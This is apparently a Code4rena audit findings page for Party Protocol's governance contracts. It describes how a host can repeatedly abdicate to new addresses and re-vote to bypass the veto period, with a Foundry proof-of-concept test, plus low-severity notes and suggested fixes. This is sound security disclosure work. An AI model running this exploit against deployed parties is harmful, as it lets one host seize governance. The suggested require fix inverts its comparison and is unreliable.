Platform: Code4rena
Start Date: 31/10/2023
Pot Size: $60,500 USDC
Total HM: 9
Participants: 65
Period: 10 days
Judge: gzeon
Total Solo HM: 2
Id: 301
League: ETH
Rank: 28/65
Findings: 2
Award: $215.71
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Madalad
Also found by: 0xbepresent, 3docSec, Emmanuel, HChang26, P12473, Shaheen, adriro, ast3ros, bart1e, evmboi32, klau5, pontifex, rvierdiiev, sin1st3r__
199.934 USDC - $199.93
https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/party/PartyGovernance.sol#L457-L472 https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/party/PartyGovernance.sol#L637
In the Party Governance system, a proposal cannot be executed until it reaches the READY
state. And the READY
state can be reached only if one of the following conditions is met:
We will focus on the third condition, it is a new addition and currently has a flaw.
When a party members initiates a proposal by calling propose()
, two values, numHosts
and numHostsAccepted
, are recorded. numHosts
represents the number of hosts at the time the proposal is created, and numHostsAccepted
starts at zero. numHostsAccepted
serves as a counter to keep track of how many hosts have accepted the proposal. When a host accept a proposal, this counter gets increased:
if (isHost[msg.sender]) { ++values.numHostsAccepted; }
This mechanism ensures that when numHostsAccepted
becomes equal to numHosts
, the proposal can skip the veto period and become READY
for immediate execution, meeting the third condition mentioned above.
There is another functionality: abdicateHost()
Which allows current hosts to abdicate their host position. Either to burn it or to transfer it to another address.
function abdicateHost(address newPartyHost) external { _assertHost(); if (newPartyHost != address(0)) { if (isHost[newPartyHost]) { revert InvalidNewHostError(); } ///@audit-issue doesn't reset ProposalStateValues.numHostsAccepted for the new host! ///@audit-issue 1 host can manipulate other hosts and whole party! -`testGovernance_HostAccept_Abdicate_NewHostAccept_Issue_PoC()` isHost[newPartyHost] = true; } else { --numHosts; } ///@audit-ok Host's Voting Power not set to zero? - host leaves his position not membership. isHost[msg.sender] = false; emit HostStatusTransferred(msg.sender, newPartyHost); }
The issue lies in this function.
abdicateHost()
doesn't reset numHostsAccepted
for hosts who have already accepted an ongoing proposal. That means if a host accepts a proposal and then he leaves the party's host position during that proposal's voting period, he still will be counted in the numHostsAccepted
. This is quite okay if he burns his position but if he transfers his host position to another address then when that new host will vote, he will also going to be added in the numHostsAccepted
. This can pose significant issues for other hosts.
READY
state as numHostsAccepted == numHosts
, _hostsAccepted()
will return true without Steve's vote.This issue can be exploited by a malicious host to execute a proposal immediately even when there are 10s Hosts in a party. The malicious Host can simply deploy new contracts to do that. He will first vote, abdicate his role to a new address, vote from their and abdicate to a new address and then vote, abdicate, vote, abdicate, vote, and so on. Since a host can transfer their role to anyone, including non-members of the party, this exploit can be done easily.
_hostsAccepted()
can return true without every host's acceptance/vote.Add this test to PartyGovernance.t.sol
. For the sake of simplicity, this PoC only takes 2 Hosts into account, "Party & Steve". It shows how without steve's vote the proposal reaches READY
/PROPOSAL_FLAG_HOSTS_ACCEPT
State:
function testGovernance_HostAccept_Abdicate_NewHostAccept_Issue_PoC() public { ( Party party, IERC721[] memory preciousTokens, uint256[] memory preciousTokenIds ) = partyAdmin.createParty( partyImpl, PartyAdmin.PartyCreationMinimalOptions({ host1: address(this), host2: address(steve), passThresholdBps: 5000, totalVotingPower: 43, preciousTokenAddress: address(toadz), preciousTokenId: 1, rageQuitTimestamp: 0, feeBps: 0, feeRecipient: payable(0) }) ); DummySimpleProposalEngineImpl engInstance = DummySimpleProposalEngineImpl(address(party)); // Mint first governance NFT partyAdmin.mintGovNft(party, address(john), 22, address(john)); assertEq(party.votingPowerByTokenId(1), 22); assertEq(party.ownerOf(1), address(john)); // mint another governance NFT partyAdmin.mintGovNft(party, address(danny), 21, address(danny)); assertEq(party.votingPowerByTokenId(2), 21); assertEq(party.ownerOf(2), address(danny)); // Generate proposal PartyGovernance.Proposal memory p1 = PartyGovernance.Proposal({ maxExecutableTime: 9999999999, proposalData: abi.encodePacked([0]), cancelDelay: uint40(1 days) }); john.makeProposal(party, p1, 2); // 2 Hosts: Party & Steve // 2 Hosts Accept/Vote needed before skipping veto period assertEq(party.numHosts(), 2); // Party Accepts proposal party.accept(1, 0); // Now 1 vote is needed _assertProposalStatus(party, 1, PartyGovernance.ProposalStatus.Passed, 22); // Party abdicates himeself and passes his host position to nicholas party.abdicateHost(address(nicholas)); assertEq(party.numHosts(), 2); // nicholas accepts and the 2 hosts requirement fullfiled - "WITHOUT STEVE VOTE" nicholas.vote(party, 1, 0); // Now anyone can execute immediately. _assertProposalStatus(party, 1, PartyGovernance.ProposalStatus.Ready, 22); // Execute proposal john.executeProposal( party, PartyParticipant.ExecutionOptions({ proposalId: 1, proposal: p1, preciousTokens: preciousTokens, preciousTokenIds: preciousTokenIds, progressData: abi.encodePacked([address(0)]) }) ); // Ensure execution occurred _assertProposalStatus(party, 1, PartyGovernance.ProposalStatus.Complete, 22); assertEq(engInstance.getFlagsForProposalId(1), LibProposal.PROPOSAL_FLAG_HOSTS_ACCEPT); assertEq(engInstance.getLastExecutedProposalId(), 1); assertEq(engInstance.getNumExecutedProposals(), 1); }
abdicateHost()
during an ongoing proposal.It's advisable to consider the first recommendation, as there are other minor issues with the "abdicateHost()" functionality, especially when a host leaves during an ongoing proposal, which can raise additional issues like Veto period will not be skipped even after all hosts' votes, I have discussed that in my QA Report. Thanks!
Context
#0 - c4-pre-sort
2023-11-12T03:23:48Z
ydspa marked the issue as duplicate of #538
#1 - c4-pre-sort
2023-11-12T03:23:52Z
ydspa marked the issue as sufficient quality report
#2 - c4-judge
2023-11-19T13:31:53Z
gzeon-c4 marked the issue as satisfactory
🌟 Selected for report: 3docSec
Also found by: 0xMosh, 0xadrii, 0xmystery, Bauchibred, Ch_301, Emmanuel, J4X, Madalad, Pechenite, Shaheen, Topmark, TresDelinquentes, Walter, ZanyBonzy, adeolu, adriro, chainsnake, joaovwfreire, lsaudit, osmanozdemir1, sin1st3r__
15.7808 USDC - $15.78
No | Issue |
---|---|
L-01 | Veto period will not be skipped even after all hosts' votes |
L-02 | Veto period will not be skipped even after all hosts' votes if the new Host had already accepted the proposal |
L-03 | Base Mainnet do not support 0.8.20, 0.8.19 recommended |
L-04 | decreaseTotalVotingPower() can decease the totalVotingPower more than the already mintedVotingPower |
L-05 | Important users' input authentications missing |
The veto period skips when all the hosts accept the proposal. But there is some cases where it will not.
A party member initiates a proposal with an initial count of 10 hosts required for the veto period to be skipped. In order to skip the veto period, the numHostsAccepted
must reach 10. However, if a host decides to burn their position by invoking the abdicateHost()
function, the actual count of hosts (numHosts
) in the party reduces to 9. So, even if all current 9 hosts accept the member's proposal, they will still need to wait for the veto period to elapse because the current count of hosts (numHostsAccepted
= 9) does not match the required count of accepted hosts (numHosts
= 10).
abdicateHost()
during an ongoing proposal.numHosts
for the on-going proposals if a host burns his positionA party member initiates a proposal with an initial requirement of 10 hosts for the veto period to be bypassed. To achieve this, the numHostsAccepted
must reach 10. However, during the voting process, if a host opts to transfer their position to a new host using the abdicateHost(newHost)
function, and if the new host had already accepted the proposal before receiving the host position, they will be unable to vote again. Consequently, they will not be included in the numHostsAccepted
count. As a result, even if every remaining host votes, the proposal will still fail to meet the criteria of numHostsAccepted (9) == numHosts (10)
.
Again all hosts voted but the veto period not skipped.
abdicateHost()
during an ongoing proposal xDnumHostsAccepted
when they have already voted for the proposal.Note: The L-01
& L-02
the edge-cases of the high-severity issue I have submitted and discussed in detail. For additional information, please refer to the high issue titled: _hostsAccepted()
can return true even without all hosts' votes, which can be exploited by a malicious host to execute any proposal immediately.
The protocol contracts use 0.8.20
solidity pragma version which is not supported yet on bedrock chains as Base Docs state: "Aside from the above, Base Mainnet and Testnet do not yet support the new PUSH0 opcode introduced in Shanghai, which is the default target for the Solidity compiler if you use version 0.8.20 or later.
We recommend using 0.8.19 or lower until this is upgraded"
// SPDX-License-Identifier: GPL-3.0 - pragma solidity 0.8.20; + pragma solidity 0.8.19;
Request for the judge: In a previous C4 contest, this was accepted as a valid medium finding, to me it doesn't look medium severity that's why I'm submitting it as a Low severity. But if this gets accepted as a medium again then pls judge sahab bump this to medium as well. Thanks!
decreaseTotalVotingPower()
can decease the totalVotingPower
more than the already mintedVotingPower
decreaseTotalVotingPower()
doesn't make sure that it doesn't decrease the totalVotingPower
more than the already mintedVotingPower
. Which can result in overflows/underflow errors exceptions for the users
Make sure to add this check:
function decreaseTotalVotingPower(uint96 votingPower) external { _assertAuthority(); _getSharedProposalStorage().governanceValues.totalVotingPower -= votingPower; require(_getSharedProposalStorage().governanceValues.totalVotingPower < mintedVotingPower, "ERR") }
This issue contains all the important missing user inputs checks:
values
array & tokenIds
array missingThe dev comment in BatchContributeArgs
states that:
// The length of this (values) array must be equal to the length of
tokenIds
.
But this check is missing in the batchContribute()
function batchContribute( BatchContributeArgs calldata args ) external payable onlyDelegateCall returns (uint96[] memory votingPowers) { ///@audit-issue args.values == args.tokenIds.length not checked! uint256 numContributions = args.tokenIds.length; votingPowers = new uint96[](numContributions); uint256 ethAvailable = msg.value; ..... }
Make sure to add it.
voteDuration
& executionDelay
voteDuration & executionDelay are important so a shark cannot propose, accept & execute directly. If it accidentaly gets set to zero it can cause lot of problems so consider adding Zero checks
#0 - c4-pre-sort
2023-11-13T04:14:52Z
ydspa marked the issue as sufficient quality report
#1 - c4-judge
2023-11-19T18:11:18Z
gzeon-c4 marked the issue as grade-b